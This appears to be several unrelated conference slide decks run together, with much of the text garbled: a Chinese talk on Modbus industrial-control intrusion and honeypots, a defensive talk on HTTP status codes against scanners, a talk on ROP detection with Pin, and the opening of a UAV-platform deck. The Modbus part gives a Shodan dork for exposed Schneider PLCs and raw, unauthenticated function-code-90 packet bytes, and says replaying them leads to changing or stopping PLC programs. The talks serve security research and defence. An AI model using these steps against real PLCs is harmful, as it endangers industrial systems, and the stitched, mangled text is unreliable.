Modbus协议
Function Name
Function
Code
Read Coils
Write Single Coil
Write Multiple Coils
Read Input Register
Write Single Register
Read/Write Multiple Register
0x01
0x05
0x15
0x04
0x06
0x23
Modbus协议
维基百科——Modbus所有功能码
http://en.wikipedia.org/wiki/Modbus
Modbus协议
TransactionID
ProtocolID
Length
UnitID
FunctionCode
Data
Modbus协议
RS-232/RS-485
Network
Modbus TCP
⼊入侵⽅方式
⼯工控组件脆弱性
⼯工业化信息化融合推进
安全意识薄弱
设备升级维护成本⾼高
更脆弱的系统
更多的攻击⾯面
模拟环境
协议分析
设备识别
攻击⼯工具/框架
⼿手动攻击测试
探索发现⺫⽬目标
攻击⾯面
模拟环境
[ModbusPal]
Slave节点仿真模拟
http://modbuspal.sourceforge.net/
⺴⽹网络分析
[Wireshark]
https://www.wireshark.org/
Modbus/S7/DNP3协议解析
本地模拟攻防
[mbtget]
Perl脚本Modbus协议⼯工具
https://github.com/sourceperl/mbtget
本地模拟攻防
[Metasploit Framework]
auxiliary/scanner/scada/modbus_findunitid
auxiliary/scanner/scada/modbusclient
auxiliary/scanner/scada/modbusdetected
探索发现⺫⽬目标
⺴⽹网络空间
搜索引擎
⿊黑暗“Google”
PLC、RTU..⼯工控设备
⽆无⼀一幸免
探索发现⺫⽬目标
[Nmap]
modbus-discover.nse
modbus-enum.nse
注意
《NIST SP800-82》
1.降低扫描速度—scan-delay=1
2.TCP替代UDP
3.避免使⽤用nmap指纹识别 -sC
4.不推荐nmap
5.不要尝试对运⾏行中的设备进⾏行测试
探索发现⺫⽬目标
[plcscan]
TCP/502 TCP/102端⼝口PLC识别⼯工具
code.google.com/p/plcscan
探索发现⺫⽬目标
[ModTest]
针对Modbus分析协议、扫描、指纹识别、Fuzzing、甄别蜜罐
https://github.com/ameng929/ModTest
探索发现⺫⽬目标
[ModTest]
Modbus分析协议
https://github.com/ameng929/ModTest
探索发现⺫⽬目标
[ModTest]
Modbus Fuzzing
https://github.com/ameng929/ModTest
⽅方式:
针对Function Code
针对Diagnostics Code
发现：
90/91/99功能码
识别⼯工控蜜罐的⽅方式
拒绝服务
探索发现⺫⽬目标
[ModTest]
Modbus 指纹识别
https://github.com/ameng929/ModTest
识别更多的plc设备信息
更邪恶的⼊入侵⽅方式
…
⼊入侵⽅方式
[Unity Pro XL]
施耐德PLC编程软件
http://www.schneider-electric.com/
⼊入侵⽅方式
[Unity Pro XL]
施耐德PLC编程软件
http://www.schneider-electric.com/
发现：
可远程接⼊入设备
但远程传输项⺫⽬目失败
原因：
Unity Pro XL版本多样
兼容性差
⼊入侵⽅方式
分析Unity Pro XL软件协议、认证⽅方式
软件使⽤用Modbus功能码90进⾏行通信
协议内容⽆无加密！
⼊入侵⽅方式
分析Unity Pro XL软件协议、认证⽅方式
通过90功能码进⾏行⾝身份识别与握⼿手请求、消息同步
通过ModTest测试，90功能码协议⽆无认证，可进⾏行包重放
⼊入侵⽅方式
分析Unity Pro XL软件协议、认证⽅方式
协议中发现读取PLC设备信息通信数据
0x00, 0x0f, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x5a, 0x00, 0x20,
0x00, 0x14, 0x00, 0x64, 0x00, 0x00, 0x00, 0xf6, 0x03
重放请求，获得PLC设备项⺫⽬目信息
针对应答数据选择针对的Unity Pro XL软件
V5.0 Unity Pro XL 5.0
⼊入侵⽅方式
通过针对版本的Unity Pro XL软件获取到PLC权限
可查看实时数据表、修改上传PLC程序、停⽌止PLC执⾏行!!!
⼊入侵⽅方式
通过Shodan进⾏行设备探索与⼊入侵
针对施耐德PLC编程软件的Dork
port:502 V5.0 .stu
V5.0——编程软件版本号
.stu——施耐德PLC程序后缀
应对探索
[⼯工控蜜罐]
协议仿真scapy、pymodbus
https://github.com/tecpal/PyModbus
• 对读写PLC Coil、Register值的响应
• 对43功能码读取PLC设备信息的响应
• 对17功能码请求从节点信息的响应
• 对90功能码读取Modicon PLC信息的响应
应对探索
[⼯工控蜜罐]
Web管理登陆界⾯面
应对探索
[⼯工控蜜罐]
其他选择组件
• FTP
• SNMP
• TELNET
• 其他⼯工控协议
应对探索
[⼯工控蜜罐]
conpot
https://github.com/mushorg/conpot
应对探索
[⼯工控蜜罐]
SCADA Honeynet
http://www.digitalbond.com/tools/scada-honeynet/
应对探索
[⼯工控蜜罐]
Modhoney
在PyModbus与Z-one版本上进⾏行了改进与优化
https://github.com/ameng929/Modhoney
增加了对于TransactionID的识别与应答
增加了对于功能码90的识别与应答
配合conpot更容易被⺴⽹网络搜索引擎发现
应对探索
[⼯工控蜜罐]
Modhoney
在PyModbus与Z-one版本上进⾏行了改进与优化
https://github.com/ameng929/Modhoney
增加了对于TransactionID的识别与应答
增加了对于功能码90的识别与应答
配合conpot更容易被⺴⽹网络搜索引擎发现
应对探索
[⼯工控蜜罐]
发现
198. 20. 70.114 Shodan
71. 6.216. 34 Rapid7
169. 54.233.119 Credit Suisse Group / CANA
185. 35. 62. 11 Switzerland Group
85. 25.185.112 BSB-Service GmbH Germany
62. 75.207.109 Intergenia AG Germany
178. 19.104.138 Livenet sp. z o.o.
141.212.122. xxx University of Michigan College of Engineering
蜜罐捕获数据主要为协议扫描
其中严重的威胁为对地址数据的改写
应对探索
Shodan对于蜜罐系统的甄别
应对探索
蜜罐甄别⽅方法
对于43(0x2B)功能码中的异常数据的应答
Honey
Real
应对探索
蜜罐甄别⽅方法
对于01(0x01)功能码中的异常数据的应答
Real
Honey
应对探索
• 发现⺴⽹网络空间扫⾯面引擎IP地址，拦截扫描
• 了解扫描引擎的指纹识别⽅方法，收集信息
• 掌握⿊黑客的进⼀一步攻击⾏行为
• 收集异常数据中可能的0-Day
• 健壮蜜罐系统，使其更难被甄别，更好的伪装
⼯工控蜜罐的必要性
应对探索
[Snort for ICS]
开源⼊入侵检测
https://www.snort.org
http://www.digitalbond.com/tools/quickdraw/
应对探索
[ModbusSec]
协议传输⾝身份认证
http://www.digitalbond.com/tools/basecamp/
{Ethernet | TCP | Modbus}
{Ethernet | TCP | Tunnel | Modbus}
{Ethernet | TCP | Modbus | Tunnel | Modbus}
应对探索
[安全模块解决⽅方案]
• ⼯工业防⽕火墙
• ⺴⽹网络隔离设备
• VPN接⼊入
• 认证管理
• …
纵深防御
感谢聆听
⼯工控安全联盟 | pdf |
Defense&by&Numb3r5&
&
Making'problems'for'script'k1dd13s'
and'scanner'monkeys!
@ChrisJohnRiley'
“THE'WISEST'MAN,'IS'HE'
WHO'KNOWS,'THAT'HE'
KNOWS'NOTHING”'
'
'
SOCRATES:'APOLOGY,'21D'
This&talk&contains:!
!- Numbers
- Bad Jokes
- Traces of peanuts
- Did I mention numbers?
!!
TL!;DR!
Goals!for!this!talk!
Describe!the!
defensive!uses!of!
HTTP!status!codes!
1) What&
2) Why&
3) How&
4) Goals&
5) Bringing&it&together&
6) Review&
#1&
]!
[!WHAT ?
HTTP!STATUS!CODES!
Seems!like!such!a!!
Small!detail!
…!small!detail,!
big!impact!
HTTP!Status!Codes!
! Majority!part!of!RFC!2616!(HTTP/1.1)!
! 5!main!classes!of!response!
! 1XX!informaOonal'
! 2XX!success!
! 3XX!redirecOon!
! 4XX!client'error!
! 5XX!server'error!
HTTP!Status!Codes!
! Proposed!RFC*!for!7XX!codes!
! Examples:!
! 701!Meh'
! 719!I'am'not'a'teapot!
! 721!Known'unknowns!
! 722!Unknown'unknowns!
! 732!Fucking'Unicde'
*!h]ps://github.com/joho/7XX_rfc!
BASICS!
AKA:!THE!BORING!THEORY!BIT!
#1.1&
1XX!Informaeonal!
! Indicates!response!received!
! Processing!is!not!yet!completed!
! 100!Conenue!
! 101!Switching!Protocols!
! 102!Processing!(WebDAV!RFC!2518)!
2XX!Success!
! Indicates!response!received!
! Processed!and!understood!
! 200!OK!
! 201!Created!
! 202!Accepted!
! 203!Non_Authoritaeve!Informaeon!
! 204!No!Content!
2XX!Success!(cont.)!
! 205!Reset!Content!
! 206!Pareal!Content!
! 207!Mule_Status!(WebDAV!RFC!4918)!
Codes!not!supported!by!Apache!
!
208!Already!Reported!
!
226!IM!Used!
!
250!Low!on!Storage!Space!
3XX!Redireceon!
! Aceon!required!to!complete!request!
! 300!Muleple!Choices!
! 301!Moved!Permanently!
! 302!Found!(Moved!Temporarily)!
! 303!See!Other!
! 304!Not!Modified!
3XX!Redireceon!(cont.)!
! 305!Use!Proxy!
! 306!Switch!Proxy!(unused)!
! 307!Temporary!Redirect!
Codes!not!supported!by!Apache!
!
308!Permanent!Redirect!
4XX!Client!Error!
! Client!caused!an!error!
! 400!Bad!Request!
! 401!Unauthorized!
! 402!Payment!Required!
! 403!Forbidden!
! 404!Not!Found!
! 405!Method!Not!Allowed!
4XX!Client!Error!(cont.)!
! 406!Not!Accessible!
! 407!Proxy!Authenecaeon!Required!
! 408!Request!Timeout!
! 409!Conflict!
! 410!Gone!
! 411!Length!Required!
4XX!Client!Error!(cont.)!
! 412!Precondieon!Failed!
! 413!Request!Enety!Too!Large!
! 414!Request_URI!Too!Long!
! 415!Unsupported!Media!Type!
! 416!Request!Range!Not!Saesfiable!
! 417!Expectaeon!Failed!
! 418!I’m!a!Teapot!(IETF!April!Fools!RFC!2324)!
4XX!Client!Error!(cont.)!
! 419!/!420!/!421!Unused!
! 422!Unprocessable!Enety!(RFC!4918)!
! 423!Locked!(RFC!4918)!
! 424!Failed!Dependency!(RFC!4918)!
! 425!No!Code!/!Unordered!Colleceon!
! 426!Upgrade!Required!(RFC!2817)!
4XX!Client!Error!(cont.)!
Codes!not!supported!by!Apache!
!
428!Precondieon!Required!
!
429!Too!Many!Requests!
!
431!Request!Header!Fields!Too!Large!
!
444!No!Response!(NGINX)!
!
449!Retry!With!(Microsoo)!
!
450!Blocked!by!Win.!Parental!Controls!
!
451!Unavailable!For!Legal!Reasons!
!
494!Request!Header!Too!Large!(NGINX)!
!
495!Cert!Error!(NGINX)!
!
496!No!Cert!(NGINX)!
!
497!HTTP!to!HTTPS!(NGINX)!
!
499!Client!Closed!Request!(NGINX)!
5XX!Server!Error!
! Server!error!occurred!
! 500!Internal!Server!Error!
! 501!Not!Implemented!
! 502!Bad!Gateway!
! 503!Service!Unavailable!
! 504!Gateway!Timeout!
! 505!HTTP!Version!Not!supported!
5XX!Server!Error!(cont.)!
! 506!Variant!Also!Negoeates!(RFC!2295)!
! 507!Insufficient!Storage!(WebDAV!RFC!4918)!
! 508!Loop!Detected!(WebDAV!RFC!5842)!
! 509!Bandwidth!Limit!Exceeded!(apache!ext.)!!
! 510!Not!Extended!(RFC!2274)!
Codes!not!supported!by!Apache!
!
511!Network!Authenecaeon!Required!(RFC!6585)!
!
550!Permission!Denied!
!
598!Network!Read!Timeout!Error!(Microsoo!Proxy)!
!
599!Network!Conneceon!Timeout!Error!(Microsoo!Proxy)!
OMG!Enough!with!
the!numb3rs!
already!!!!'
#2&
]!
[!WHY ?
It!started!as!a!simple!idea…!
?!
?!
?!
…!and!started!to!think!
SCREW!WITH!
SCANNERS!
…!AND!SCRIPT!
K1DD13S!
THAT!SOUNDS!
LIKE!FUN!'
@thegrugq)26)Feb)2013)
@thegrugq)26)Feb)2013)
INCREASE!
ATTACKER!COSTS!
$!
$!
$!
WASTE!
ATTACKER!TIME!
_
When!the!tables!turn!(2004)!!
_
Roelof'Temmingh,'Haroon'Meer,'Charl'van'der'Walt'
_
h]p://slideshare.net/sensepost/strikeback!
_
Stopping!Automated!A]ack!Tools!(2006)!
_
Gunter'Ollmann'
_
h]p://www.technicalinfo.net/papers/
StoppingAutomatedA]ackTools.html!!
Prior!Art!
_
mod_security!mailing!list!(2006)!!
_
Status!Code!503!together!w/!Retry_Aoer!header!
_
Ryan'BarneW'
_
h]p://bb10.com/apache_mod_security_user/
2006_12/msg00042.html!
Prior!Art!
SecFilterDefaultAceon!"deny,log,status:503"!
SecFilter!".*"!
Header!set!Retry_Aoer!"120"!
#3&
]!
[!HOW ?
BROWSERS!HAVE!
TO!BE!FLEXIBLE!
THIS!LEADS!TO!
INTERPRETATION!
…!which'leads'to'the'darkXside'
RFCS…!
!
THEY’RE!MORE!OF!A!
GUIDELINE!REALLY!
WHAT COULD POSSIBLY GO
WRONG!
TESTING!
THE!HOW!OF!THE!THING!!
#3.1&
! Restricted!research!to!the!big!3!
! Internet!Explorer!
! Chrome!/!Chromium!
! Firefox!
NO…!SAFARI!ISN’T!
IN!THE!TOP!10!3!
OPERA!JUMPED…!
…or'was'it'pushed?'
LYNX!
THE!UNREALISTIC!OPTION!
! MITMproxy!/!MITMdump!
! Python_based!
! Simple!to!setup!proxy!/!reverse!proxy!
! Script_based!aceons!
! PHP!
! Ability!to!set!response!code!
! Must!be!at!the!top!of!the!PHP!code!
! Can!be!added!to!php.ini!
! auto_prepend_file!=!/full/path!
! Limited!by!web_server!(apache)!
#!set!response!code!
Header($_server[“SERVER_PROTOCOL”].!”!$status_code”);!
! Teseng!browsers!automaecally!
! Created!PHP!file!to!set!status!code!
! h]p://c22.cc/POC/respcode.php?code=XXX'
BROWSERS!
…!AND!THEIR!STATUS!CODE!HABITS!
#3.2&
Miss
Browsers!handle!
most!things!just!like!
they!handle!a!
200&OK?!
YEP…!
MOSTLY'
! HTML!Responses!
!
Almost!all!response!codes!are!rendered!
by!the!browser!correctly!
! iFrames!
!
Some!special!cases!for!IE,!but!other!
browsers!handle!this!the!same!as!HTML!
!
! JavaScript/CSS!
!
Limited!accepted!status!codes!
!
Limited!3XX!support!
!
Chrome!is!the!excepeon!here!
!
No!support!for!4XX/5XX!codes!
So!we!know!
what!browsers!
interpret!
differently'
What!do!
browsers!have!
in!common?!
! 1XX!code!handling!
! Retries!
! Confusion!
! Chrome!/!IE6!try!to!download!the!page!!
! Fun!on!Android…!(never!ending!download)!
! Times!outs!(eventually)!
! 204!No!Content!
! Um,!no!content!!
! 304!Not!Modified!
! Again,!no!content!returned!
WHAT!ABOUT!
HEADERS?!
#3.3&
Just!because!the!RFC!says!
a!specific!status!code!
must!have!an!associated!
header…!
…doesn’t!mean!
it!HAS!to!
! Redireceon!codes!(301_304,!307)!
!
No!Locaeon!header,!no!redirect!
! 401!Unauthorized!
!
No!WWW_Authenecate!header,!no!
authenecaeon!prompt!
! 407!Proxy!Authenecaeon!Required!
!
No!Proxy_Authenecate!header,!no!prompt!
Just!because!the!RFC!says!
a!specific!status!code!
shouldn’t!have!an!
associated!header…!
!
…doesn’t!mean!
it!can’t!
! 300!Muleple!Choices!w/!Locaeon!Header!
! Firefox!/&IE6!follows!the!redirect!
!
Chrome!doesn’t!
! More!research!needed!in!this!direceon!
!
Most!headers!are!unintereseng!/&ignored!
EACH!BROWSER!
HANDLES!THINGS!A!
LITTLE!DIFFERENTLY!
I!WONDER!WHAT!
WE!CAN!DO!
WITH!THAT!!
#4&
]!
[!GOALS
! Each!browser!handles!things!differently!
!
Use!known!condieons!
!
Handled!codes!
!
Unhandled!codes!
!
Browser!weirdness!
BROWSER!
FINGERPRINTING!
#4.1&
!
Doesn’t!load!JavaScript!returned!with!a!300!
‘Muleple!Choices’!status!code!
!
Other!browsers!tested!DO!(IE/Chrome)!
!
!
Request!JavaScript!from!server!
!
Response!Status:!300!Muleple!Choices!
!
If!JavaScript!doesn’t!run!in!the!browser!
!
Firefox!
Firefox!
!
Loads!JavaScript!returned!with!a!307!
‘Temporary!Redirect’!status!code!
!
Other!browsers!tested!DON’T!(IE/FF)!
!
Request!JavaScript!from!server!
!
Response!Status:!307!Temporary!Redirect!
!
If!JavaScript!runs!in!the!browser!
!
Chrome!
Chrome!!
!
Loads!JavaScript!returned!with!a!205!‘Reset!
Content’!status!code!
!
Other!browsers!tested!DON’T!(FF/Chrome)!
!
Request!JavaScript!from!server!
!
Response!Status:!205!Reset!Content!
!
If!JavaScript!runs!in!the!browser!
!
Internet!Explorer!
Internet!Explorer !!
BROWSER!
FINGERPRINTING!
DEMO!
! Other!opeons!to!fingerprint!browsers!
!
300!Redirect!(Chrome)!
!
305!/&306!JavaScript!(Firefox)!
!
400!iFrame!(Internet!Explorer)!
!
…'
'
POC!Script!"!h]p://c22.cc/POC/fingerprint.html!
USER_AGENTS!
CAN!BE!
SPOOFED!
BROWSER!
TRAITS!CAN’T'
PROXY!
DETECTION!
#4.2&
!
Chrome!handles!proxy!config!differently!
!
407!status!code!isn’t!rendered!!
!
Unless!an!HTTP!proxy!is!set!!
!
Allows!us!to!detect!if!an!HTTP!proxy!is!set!
!
Just!not!which!proxy!
!
Can!only!detect!HTTP!proxies!;(!
Chrome!Proxy!Deteceon!
! Request!page!from!server!
! Response!Status:!407!Proxy!Authenecaeon!
! w/o!Proxy_Authenecate!header!
! If!Chrome!responds!HTTP!proxy!is!set!
Chrome!Proxy!Deteceon!
! Privoxy!3.0.20!(CVE_2013_2503)!
! 407!Proxy!Authenecaeon!Required!
! w/!Proxy_Authenecate!header!
! User!prompted!for!user/pass!
! Prompt!appears!to!be!from!Privoxy!
! Privoxy!passes!user/pass!to!remote!site!
! Profit???!
Side_Effect:!Owning!Proxies!
! Not!just!Privoxy!that’s!effected!
!
Any!transparent!proxy!
!
e.g.!Burp,!ZAP,!…!
!
Not!really!a!vuln!for!most!
!
Works!as!designed!!
Side_Effect:!Owning!Proxies!
#5&
]!
[!
BRINGINGITALL
TO GETHER
What!we!have!
! Status!codes!all!browsers!treat!as!content!
! Status!codes!all!browsers!can’t!handle!
! 1XX,!etc..!
! Lots!of!browser!quirks!
What!can!we!do!
! F*ck!with!things!
! Screw!with!scanner!monkeys!
! Make!RFC!lovers!cry!into!their!beer!
! Break!things!in!general!
Let’s!try!to…!
! Use!what!we’ve!discovered!to…!
! Break!spidering!tools!
! Cause!false!posieves!/!negaeves!
! Slow!down!a]ackers!
! The!fun!way!!
! Blocking!successful!exploitaeon!
BREAKING!
SPIDERS!
#5.1&
Simplisec!view!
of!spiders!
! Access!target!URL!
! Read!links!/!funceons!
! Test!them!out!
! If!true:!conenue!
! What!is!TRUE?!
! What!happens!if:!
! Every!response!is!
! 200!OK!
! 404!Not!Found!
! 500!Internal!Server!Error!
200!OK!
! IF!200!==!True:!
! Problems!!
! Never_ending!spider!
404!Not!Found!
! IF!404!==!False:!
! What!website?!
500!Internal!Server!Error!
! Skipfish!!=!happy!fish!
False!
Posieves!/
Negaeves!
#5.2&
! Most!scanners!use!status!codes!
! At!least!to!some!extent!
! Inieal!match!(prior!to!more!costly!regex)!
! Speed!up!deteceon!
! Easy!solueon!
! What!happens!if:!
! Every!response!is!
! 200!OK!
! 404!Not!Found!
! 500!Internal!Server!Error!
! raNd0M*!
*!Using!codes!that!are!accepted!by!all!browsers!as!content!!
Vulnerability!Baseline!
! w3af!
! Informaeon!Points!"!79!
! Vulnerabiliees!"!65!
! Shells!"!0!shells!#!
! Scan!eme!"!1h37m23s!
Every!response!200!OK!
! No!change!in!discoveries!
! All!points!discovered!_!per!baseline!
! 79!Informaeon!Points!
! 65!Vulnerabiliees!
! 0!Shells!
! Scan!eme!"!9h56m55s!
! Lots!more!to!check!;)!
Every!response!404!Not!Found!
! Less!to!scan!==!Less!to!find!
! False!negaeves!
! 44!Informaeon!Points!(_35)!
! 37!Vulnerabiliees!(_28)!!
! Scan!eme!"!7m13s!
! Much!quicker!scan!
! Less!paths!traversed!
Every!response!500!
! Server!Error!==!OMG!VULN!SANDWICH!&
! False!posieves+++&
! 9540!Informaeon!points!(+9461)!
! 9526!Vulnerabiliees!(+9461)!!
Random!Status!Codes!
! Muleple!test!runs!
! All!tests!produced!False!posieves++&
! avg.!619!Informaeon!points!(+540)!
! avg.!550!Vulnerabiliees!(+485)!!
! Avg.!scan!eme!"!11m37s!
! Ooen!much!quicker!scans!
! Lots!of!variaeon!in!scan!emes!
Random!Status!Codes!
! Skipfish!+!$random_status!=!chaos!
! False!Posieves!+!False!Negaeves!
! Scan!jobs!killed!(due!to!lack!of!scanner!resources)!
! Scan!emes!
! 1st!scan!eme!"!10h3m35s!
! 2nd!scan!eme!"!0h0m4s!
! 3rd!scan!eme!"!16h47m41s!
Slowing!
a]ackers!
down!!
#5.3&
What!does!
your!WAF!
really!do?!
!
OMG!A]ack!
!
Block!/!Return!error!
!
403,!500,!…!
!
Profit???!
Why?!
Remember!that!list!
of!status!codes!
browsers!don’t!
handle!well?!
Yeah!well,!scanners!
don’t!usually!handle!
them!well!either!!
Especially!the!
1XX!codes!
! Remember!LaBrea!tarpit?!
!
Tim!Liston!2001!*!
!
Designed!to!slow!spread!of!Code!Red!
!
Slows!down!scans!/!a]ackers!
*!h]p://labrea.sourceforge.net!
How!about!an!
HTTP!Tarpit!!
HTTP!Tarpit!Scenario!
! WAF!detects!scan!/!a]ack!
! Adds!source!IP!to!“naughty”!list!
! Rewrite!all!responses!from!the!server!
!
100|101|102!status!codes!only!(random)!
!
204|304!might!also!be!useful!(no!content)!
Let’s!do!
some!
science!*!
*!Science!not!included!
vs.!the!HTTP!TARPIT!
NIKTO!
Baseline&
HTTP&Tarpit&
Scan!eme!
2m!18s!
Findings!
18!
14h!33m!2s!
10!
vs.!the!HTTP!TARPIT!
W3AF!
Baseline&
HTTP&Tarpit&
Scan!eme!
1h!37m!23s!
Findings!
65!
18m!10s!
0!
vs.!the!HTTP!TARPIT!
SKIPFISH!
Baseline&
HTTP&Tarpit&
Scan!eme!
18m!10s!
Findings!
Low:!2519!
Med:!2522!
High:!12!
Low:!
Med:!!
High:!
05s!
0!
0!
3!
vs.!the!HTTP!TARPIT!
ACUNETIX!
Baseline&
HTTP&Tarpit&
Scan!eme!
1h!19m!
Findings!
Info:!1104!
Low:!30!
Med:!32!
High:!24!
Info:!
Low:!
Med:!!
High:!
33m!
3!
3!
1!
0!
HTTP!Tarpit!Results!
! HTTP!Tarpit!Results!*!
!
Slow!down!scans!
!
Nikto:!340x!as!long!
!
Others!give!up!quicker!;)!
!
Unreliable!/!aborted!scans!
!
Up!to!100%!less!findings!
*!Not!scienefically!sound!;)!
Blocking!
successful!
exploitae0n!
#5.4&
We’ve!made!it!
hard!to!find!the!
vulnerabiliees!
We’ve!made!it!
Ome'consuming!
for!a]ackers!
Now!let’s!stop!the!
sk1dd13s!using!
Metasploit!to!pop!
$hells!
Q:!How!ooen!does!Metasploit!reference!
status!codes?!
)
)rgrep)2E)'res[p|ponse]?\.code')*)
"!958!*!
*!Not!scienefically!sound!;)!
rgrep)2E)'res[p|ponse]?\.code')*)
Lots!of!
dependency!on!
status!codes*!
*!yep,!even!the!stuff!I!wrote!
)
)if)(res.code)<)200)or)res.code)>=)300))
)
)
)case)res.code)
)
)
)when)401)
)
)
)
)print_warning("Warning:)The)web)site)
)
)
)
)asked)for)authentication:)#{res.headers)
)
)
)
)['WWW2Authenticate'])||)res.headers ))
)
)
)
)['Authentication']}"))
)
)
)end)
)
)
)fail_with(Exploit::Failure::Unknown,)
)
)
)"Upload)failed)on)#{path_tmp})
)
)
)[#{res.code})#{res.message}]"))
)
)end)
No!match,!
No!shell*'
*!exploit!dependent!
#6&
]!
[!RE VIEW
! Using!status!codes!to!our!benefit!is!fun!
!
…!and!useful!!
! Browsers!can!be!quirky!
! Scanners!/!a]ack!toolkits!are!someemes!
set!in!their!ways!
!
Take!the!easy!route!
!
Easy!to!fool!
! WAFs!need!to!get!more!offensive!about!
their!defense!
!
More!than!just!blocking!a!request!
!
Even!if!you!use!a!snazzy!message!
!
Hacking!back!is!bad!
!
Slowing!down!known!a]acks!is!good!
!
Make!life!harder!for!skiddies!is!pricele$$!
! Current!tools!are!much!the!same!as!APT!
!
APT!(Adequate!Persistent!Threat)!
!
Only!as!advanced!as!they!NEED!to!be!
…because!screwing!
with!sk1dd13s!
is!fun!!
Implementaeon!
#6.1&
! PHP!(the!lowest!common!denominator)!
!
auto_prepend_file!
!
Limited!to!resources!PHP!handles!
! MITMdump!
!
MITMproxy!==!memory!hog!
!
Reverse!proxy!mode!
Ghe]o!Implementaeon!
! Usable!implementaeon!
!
Nginx!as!reverse!proxy!
!
Requires:!ngx_lua!
!
ngx.status!=!XXX!
!
Bugs!in!non_git!version!
!
203,!305,!306,!414,!505,!506!return!nil'
h]ps://github.com/ChrisJohnRiley/Random_Code/blob/master/nginx/nginx.conf!
!
! Ease!adopeon!
! Implement!into!mod_security!
!
Not!a!simple!task!
!
Already!been!discussed!many!emes!
!
Help!wanted!;)!
Countering!
this!research!
#6.2&
! Less!reliance!on!status!codes!
! More!reliance!on!content!/!headers!
! Pros !!
!
Be]er!matching!/!intelligence!
! Cons!
!
Slower?!(regex!matching)!
!
More!resource!intensive!
Queseons?!
!
CODE!/!SCRIPTS!AVAILABLE!
!
HTTP://GITHUB.COM/CHRISJOHNRILEY/RANDOM_CODE!
Thanks!for!coming!
!
h]p://blog.c22.cc!
@[email protected]! | pdf |
Who’s&this…&guy&
• 10&years&on&the&defensive&side&
• File&analysis&&&RE&
• Recently&doing&research&using&Machine&
Learning&
Level&Se?ng&
• &ROP&
• Technique&to&bypass&nonFexecutable&memory&
• Bounce&around&in&memory&execuJng&small&
gadgets&that&typically&end&with&a&return&
instrucJon&
• PIN&
• Pin&is&a&dynamic&binary&instrumentaJon&
framework&for&the&x86&and&x86F64&
• Does¬&require&recompiling&of&source&&&&&&&&&&&&
code&and&can&support&instrumenJng&&&&&&&&&&
programs&that&dynamically&generate&code&
Basic&Idea&
• A&whitelist&for&offsets&that&can&be&a&&&&&&&&&&&&
target&of&indirect&branch&or&ret&
• We&know&valid&targets&for&calls&and&rets&
• FuncJons&
• InstrucJons&aUer&call&instrucJon&
• If&an&indirect&call&or&a&ret&goes&to&a&&&&&&&&&&&&&&&&&&&&&&&&
different&locaJon,&then&ROP&
• Store&the&offset&to&these&locaJons&
How&Do&We&Get&Those?&
• BranchTargetDetector&pintool&
• When&DLL&is&loaded,&exported&funcJons&are&
analyzed&
• All&calls&and&returns&are&instrumented&&&&&&&&&&&&&
as&well&
• Great&because&we&get&actual&values&
• Not&so&great&because&you&only&get&&&&&&&&&&&&
values&from&funcJons&pin&can&detect&&&&&&&&&&&&
and&what&it&actually&executes&
BranchTargetDetector&
• Pros&
• We&get&real,&actual&used&values&
• Cons&
• Not&the&fastest&thing&
• Only&get&values&from&funcJons&pin&can&&&&&&&&&&&
detect&and&what&it&actually&executes&
• If&DLL&isn’t&loaded,&you&don’t&get&data&&&&&&&&&&&&&&&&&&&
for&it&
How&Else&Can&We&Get&Those?&
• pyew&
• Much&be\er&at&detecJng&funcJons&
• Can&bulk&run&all&DLLs&
Have&Data,&Now&What?&
• Store&offsets&in&file&by&md5&hash&of&dll&
• Allows&for&handling&of&different&versions&of&the&
same&dll&
ROPDetector&
• When&a&DLL&is&loaded,&load&the&white&list&for&
that&DLL&
• Instrument&all&indirect&calls&and&RETs&and&alert&
when&target&is¬&on&the&white&list&
Example&1&
• Adobe&Reader&9.3&on&Windows&XP&
• 32dbd816b0b08878bd332eee299bbec4&
• CVEF2010F2883&
• StackFbased&buffer&overflow&in&CoolType.dll&
DetecJon!&
C:\Program Files\Adobe\Reader
9.0\Reader\icucnv36.dll
0x4a80cb3f: ret
Target: 0x4a82a714 (0x2a714)
&
Yay?&
• We&detected&one&of&the&ROP&chains&
• Only&1&
Let’s&Take&A&Look&
Let’s&Take&A&Look&
Let’s&Take&A&Look&
Let’s&Take&A&Look&
Why&Only&One?&
● Dies&on&stack&pivot&
● Pin&affects&memory&layout&
● (run&everything&in&pin?)&
&
How&Would&We&Have&Done?&
• 45&chains&in&ROP&sequence&
• Only&14&unique&addresses&
• 2&indirect&calls,&43&returns&
• 3&of&the&14&addresses&on&whitelist&
• Each&address&only&called&once&
• 42&of&45&chains&would&be&detected&
&
Example&2&
• Adobe&Reader&9.5&on&Windows&XP&
• 6776bda19a3a8ed4c2870c34279dbaa9&
• CVEF2013F3346&
• ToolBu\on&Use&AUer&Free&
Example&2&Results&
• Nothing,&just&Adobe&crashing&
• Pin&messed&up&memory&layout&again&
The&Neighborhood&Of&Make&Believe&
• 208&chains&in&ROP&sequence&
• Dominated&by&191&chain&sled&
• Only&15&unique&addresses&
• All&returns&
• 3&of&the&15&addresses&on&whitelist&
• 204&of&208&chains&would&be&detected&
A&Li\le&Math&
• Probability&of&detecJng&at&least&one&address&
(assuming&11/14&detecJons&is&average)&
&
Unique Addresses
Probability of Detection
1
78.6%
2
95.4%
3
99.0%
4
99.8%
5
99.96%
10
99.999980%
A&Li\le&More&Math&&&
• Probability&of&detecJng&at&least&one&address&
(assuming&50%&detecJon&rate)&
&
Unique Addresses
Probability of Detection
1
50.0%
2
75.0%
3
87.5%
4
93.8%
5
96.9%
10
99.9%
LimitaJons&
• Pin&
• Breaks&on&stack&pivot&
• Slow&
• Doesn’t&handle&Jump&Oriented&&&&&&
Programming&(JOP)&
Possible&Improvements&
• Smarter&instrumentaJon&
• Push&analysis&into&a&different&thread&
• Figure&out&heap&problem&
• Check&for&JOP&
Smarter&Ways&
• Debugger?&
• Detours?&
• Monitor&Last&Branch&MSRs?&
• kbouncer&
Thanks!&
• h\ps://github.com/trogdorsey/rop&
• h\ps://soUware.intel.com/enFus/arJcles/pinFaFdynamicFbinaryF
instrumentaJonFtool&
• h\ps://code.google.com/p/pyew/&
• h\p://www.cs.columbia.edu/~vpappas/papers/kbouncer.pdf& | pdf |
The Paparazzi Platform
Flexible, Open-Source, UAS Software and
Hardware
esden, dotAero, misterj, cifo
Outline
● History, User Community,
Competitions & Missions
● Software
● Hardware
● Example Vehicles
● Demos
Who are we?
Who is Paparazzi?
Micro unmanned aerial vehicle framework
http://paparazzi.enac.fr
Why do I care?
We're not going to preach the advantages of
autonomous or RC vehicles - you know this
already.
Paparazzi:
- Innovative
- Competitive
- Hugely flexible
"Many start Paparazzi as UAV hobbyists and
leave as professionals!"
History
The journey started in 2003
